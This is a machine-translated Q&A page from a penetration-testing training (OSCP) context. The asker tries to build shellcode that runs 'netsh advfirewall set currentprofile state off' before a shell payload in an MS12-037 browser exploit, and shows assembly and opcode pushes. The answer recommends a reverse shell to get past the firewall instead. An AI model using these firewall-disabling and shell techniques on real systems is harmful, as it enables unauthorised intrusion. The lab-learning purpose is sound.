web-dev-qa-db-ja.com

Windowsファイアウォールをバイパスするためのシェルコードの変更

OSCPのトレーニングの一環として、Windowsファイアウォールをオンにしたブラウザのエクスプロイト(MS12-037)を使用して、Win7マシンでシェルを取得することになっています。

アイデアはありますが、適用するのに苦労しています。

私がやろうとしていることは、シェルコードを実行する前にファイアウォールをオフにするコードを挿入することです。

まず、ファイアウォールをオフにするCプログラムを作成しました。

_#include "stdlib.h"

int main ()
{

int i;
i=system ("netsh advfirewall set currentprofile state off");


return 0;

}
_

次に、プログラムをコンパイルして逆アセンブルし、これを取得しました。

_004013a0 <_main>:
  4013a0:   8d 4c 24 04             lea    ecx,[esp+0x4]
  4013a4:   83 e4 f0                and    esp,0xfffffff0
  4013a7:   ff 71 fc                Push   DWORD PTR [ecx-0x4]
  4013aa:   55                      Push   ebp
  4013ab:   89 e5                   mov    ebp,esp
  4013ad:   51                      Push   ecx
  4013ae:   83 ec 14                sub    esp,0x14
  4013b1:   e8 6a ff ff ff          call   401320 <___main>
  4013b6:   83 ec 0c                sub    esp,0xc
  4013b9:   68 24 30 40 00          Push   0x403024
  4013be:   e8 c5 01 00 00          call   401588 <_system>
  4013c3:   83 c4 10                add    esp,0x10
  4013c6:   89 45 f8                mov    DWORD PTR [ebp-0x8],eax
  4013c9:   b8 00 00 00 00          mov    eax,0x0
  4013ce:   8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
  4013d1:   c9                      leave  
  4013d2:   8d 61 fc                lea    esp,[ecx-0x4]
  4013d5:   c3                      ret    
  4013d6:   90                      nop
  4013d7:   90                      nop
_

私が興味のある部分はこれです:

_  4013b6:   83 ec 0c                sub    esp,0xc
  4013b9:   68 24 30 40 00          Push   0x403024
  4013be:   e8 c5 01 00 00          call   401588 <_system>
  4013c3:   83 c4 10                add    esp,0x10
_

これは、プログラムがスタック上の文字列_netsh advfirewall set currentprofile state off_のアドレスにスペースを割り当て、それをsystem()に渡す場所ですその後スタックをクリーンアップします。

これらの命令をシェルコードの前に挿入して、バインド/リバースシェルが起動する前にファイアウォールをオフにしたいと考えています。Cプログラムのコマンドはメモリ内にあるため、プログラムはアドレスをスタックにプッシュする必要がありました。実際の文字列。

エクスプロイトを機能させるには、実際の文字列をスタックにプッシュしてsystem()に渡す必要があるため、 Corlean's スクリプトを使用して、実際の文字列をスタック。

_String length : 46
Opcodes to Push this string onto the stack :

"\x68\x66\x66\x20\x00"    //Push 0x00206666
"\x68\x74\x65\x20\x6f"    //Push 0x6f206574
"\x68\x20\x73\x74\x61"    //Push 0x61747320
"\x68\x66\x69\x6c\x65"    //Push 0x656c6966
"\x68\x74\x70\x72\x6f"    //Push 0x6f727074
"\x68\x72\x72\x65\x6e"    //Push 0x6e657272
"\x68\x74\x20\x63\x75"    //Push 0x75632074
"\x68\x6c\x20\x73\x65"    //Push 0x6573206c
"\x68\x65\x77\x61\x6c"    //Push 0x6c617765
"\x68\x76\x66\x69\x72"    //Push 0x72696676
"\x68\x68\x20\x61\x64"    //Push 0x64612068
"\x68\x6e\x65\x74\x73"    //Push 0x7374656e
_

だから今私はスタック上のこの文字列にスペースを割り当てる必要があります

_\x83\xEC\x41  \\sub esp,65
_

呼び出しsystem()

_\xe8\xc5\x01\x00\x00        call   401588 
_

次に、スタックを掃除します

_\x83\xC4\x41            add esp,byte +0x41
_

ここに2つの問題があります。

  1. 使用している手順に不正な文字「00」が含まれています

  2. 変更とシェルコードの合計サイズが 元のエクスプロイト のバッファサイズを超えている

だから私の質問は:

  1. 上記の問題の解決策はありますか?

  2. この問題を解決するこの方法は正しい/実行可能ですか?

  3. これを処理するより良い方法はありますか?

4
HSN

IEこれは、デフォルトではより権限の低いプロセスです。これを悪用しているため、アプローチが完全に間違っています。さらに、クライアント側で攻撃する場合、悪用すると、ネットワーク構成については想定しないでください。ホストとユーザーの間に複数のファイアウォールが存在する可能性があります。NATがシェル接続をブロックする可能性があり、最終的にリッスンするポートが開いていない可能性があります。

私の提案は、リバースシェルペイロードを使用することです。これは、クライアント側の悪用の制限を補完し、より多くの使用例をサポートします。さらに、デフォルトのWindowsファイアウォール構成では、制限なく送信トラフィックを許可します。つまり、シェルをブロックしない場合と同様に、基本的にWindowsファイアウォールが「バイパス」されます。

4
Jonathan Allon